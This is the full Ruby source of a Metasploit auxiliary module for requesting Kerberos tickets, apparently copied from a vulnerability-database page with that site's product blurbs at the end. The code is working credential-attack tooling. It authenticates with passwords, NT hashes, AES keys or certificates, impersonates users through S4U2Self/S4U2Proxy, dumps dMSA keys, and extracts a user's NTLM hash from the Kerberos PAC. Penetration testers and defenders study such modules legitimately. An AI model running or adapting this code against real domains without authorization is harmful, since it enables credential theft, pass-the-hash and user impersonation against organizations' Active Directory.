##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Kerberos
include Msf::Exploit::Remote::Kerberos::Client
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kerberos TGT/TGS Ticket Requester',
'Description' => %q{
This module requests TGT/TGS Kerberos tickets from the KDC
},
'Author' => [
'Christophe De La Fuente', # Metasploit module
'Spencer McIntyre', # Metasploit module
# pkinit authors
'Will Schroeder', # original idea/research
'Lee Christensen', # original idea/research
'Oliver Lyak', # certipy implementation
'smashery' # Metasploit module
],
'License' => MSF_LICENSE,
'Notes' => {
'AKA' => ['getTGT', 'getST'],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ],
'Reliability' => [ ]
},
'Actions' => [
[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],
[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],
[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]
],
'DefaultAction' => 'GET_TGT',
'AKA' => ['PKINIT'],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1550_003_PASS_THE_TICKET],
['ATT&CK', Mitre::Attack::Technique::T1550_002_PASS_THE_HASH]
]
)
)
register_options(
[
OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),
OptString.new('USERNAME', [ false, 'The domain user' ]),
OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),
OptPkcs12Cert.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),
OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),
OptEnum.new('IMPERSONATE_TYPE', [true, 'The impersonation type to use when requesting a TGS', 'none', ['auto', 'generic', 'none', 'dmsa'], 'none']),
OptString.new(
'NTHASH', [
false,
'The NT hash in hex string. Server must support RC4'
]
),
OptString.new(
'AES_KEY', [
false,
'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'
]
),
OptString.new(
'SPN', [
false,
'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'
],
conditions: %w[ACTION == GET_TGS]
),
OptString.new(
'IMPERSONATE', [
false,
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
],
conditions: %w[ACTION == GET_TGS]
),
OptKerberosCredentialCache.new(
'Krb5Ccname', [
false,
'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'
],
conditions: %w[ACTION == GET_TGS]
),
]
)
deregister_options('KrbCacheMode')
end
def validate_options
if datastore['CERT_FILE'].present?
pkcs12_storage = Msf::Exploit::Remote::Pkcs12::Storage.new(framework: framework, framework_module: self)
@pfx = pkcs12_storage.read_pkcs12_cert_path(datastore['CERT_FILE'], datastore['CERT_PASSWORD'], workspace: workspace)[:value]
if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?
fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')
elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?
fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')
end
begin
@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])
rescue ArgumentError => e
fail_with(Failure::BadConfig, e.message)
end
else # USERNAME and DOMAIN are required when they can't be extracted from the certificate
@username = datastore['USERNAME']
fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?
@realm = datastore['DOMAIN']
fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?
end
if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)
fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')
end
if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)
fail_with(Failure::BadConfig,
'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')
end
if action.name == 'GET_TGS' && datastore['SPN'].blank?
fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")
end
if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?
fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")
end
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})
fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')
end
if datastore['IMPERSONATE'].present? && datastore['IMPERSONATE_TYPE'] == 'none'
fail_with(Failure::BadConfig, 'IMPERSONATE_TYPE must be set to "generic", "dmsa" or "auto" when IMPERSONATE is provided')
end
end
def run
validate_options
result = send("action_#{action.name.downcase}")
report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: 'kerberos',
info: "Module: #{fullname}, KDC for domain #{@realm}"
)
result
rescue ::Rex::ConnectionError => e
elog('Connection error', error: e)
fail_with(Failure::Unreachable, e.message)
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,
::EOFError => e
msg = e.to_s
if e.respond_to?(:error_code) &&
e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'
end
fail_with(Failure::Unknown, msg)
end
def init_authenticator(options = {})
options.merge!({
host: rhost,
realm: @realm,
username: @username,
pfx: @pfx,
framework: framework,
framework_module: self
})
options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?
if datastore['NTHASH'].present?
options[:key] = [datastore['NTHASH']].pack('H*')
options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]
end
if datastore['AES_KEY'].present?
options[:key] = [ datastore['AES_KEY'] ].pack('H*')
options[:offered_etypes] = if options[:key].size == 32
[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]
else
[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]
end
end
Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
end
def action_get_tgt
print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")
# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
authenticator.request_tgt_only
end
def action_get_tgs
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })
tgt_request_options = {}
if datastore['Krb5Ccname'].present?
tgt_request_options[:cache_file] = datastore['Krb5Ccname']
end
credential = authenticator.request_tgt_only(tgt_request_options)
if datastore['IMPERSONATE_TYPE'] == 'dmsa'
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
name_string: [
'krbtgt',
@realm
]
)
nonce = rand(0..0x7FFFFFFF)
auth_options = {
sname: sname,
nonce: nonce,
impersonate: datastore['IMPERSONATE'],
impersonate_type: datastore['IMPERSONATE_TYPE']
}
tgs_ticket, tgs_auth, tgs_credential = authenticator.s4u2self(
credential,
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
)
tgs_auth.pa_data.each do |pa_data|
if pa_data.type == Rex::Proto::Kerberos::Model::PreAuthType::DMSA_KEY_PACKAGE
dmsa_key_package = Rex::Proto::Kerberos::Model::DmsaKeyPackage.decode(pa_data.value)
print_dmsa_key_package_info(dmsa_key_package)
end
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError => e
print_error("#{peer} - Failed to decode dMSA Key Package: #{e.message}")
next
end
auth_options[:tgs_ticket] = tgs_ticket
auth_options[:credential] = tgs_credential
auth_options
elsif datastore['IMPERSONATE_TYPE'] == 'generic'
print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,
name_string: [@username]
)
auth_options = {
sname: sname,
impersonate: datastore['IMPERSONATE']
}
tgs_ticket, _tgs_auth = authenticator.s4u2self(
credential,
auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))
)
auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
name_string: datastore['SPN'].split('/')
)
auth_options[:tgs_ticket] = tgs_ticket
authenticator.s4u2proxy(credential, auth_options)
else
print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
name_string: datastore['SPN'].split('/')
)
nonce = rand(0..0x7FFFFFFF) # nonce should be a signed 32-bit integer
tgs_options = {
sname: sname,
nonce: nonce,
ticket_storage: kerberos_ticket_storage(read: false)
}
authenticator.request_tgs_only(credential, tgs_options)
end
end
def print_dmsa_key_package_info(dmsa_key_package)
print_status('dMSA Key Package:')
print_status(' Current Keys:')
dmsa_key_package.current_keys.each do |key_set|
key_set.each do |key|
type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
value = key[1][0]
print_good(" Type: #{type}, Key: #{value.unpack1('H*')}")
end
end
print_status(' Previous Keys:')
dmsa_key_package.previous_keys.each do |key_set|
key_set.each do |key|
type = Rex::Proto::Kerberos::Crypto::Encryption::IANA_NAMES[key[0][0]] || 'unknown'
value = key[1][0]
print_good(" Type: #{type}, Key: #{value.unpack1('H*')}")
end
end
end
def action_get_hash
authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })
auth_context = authenticator.authenticate_via_kdc(options)
credential = auth_context[:credential]
print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: credential.keyblock.enctype.value,
value: credential.keyblock.data.value
)
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
)
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
end
unless pac_info_buffer
print_error('NTLM hash not found in PAC')
return
end
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")
report_ntlm(ntlm_hash)
ntlm_hash
end
def report_ntlm(hash)
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
service_data = {
address: rhost,
port: rport,
service_name: 'kerberos',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: :ntlm_hash,
jtr_format: jtr_format,
username: @username,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: @realm
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation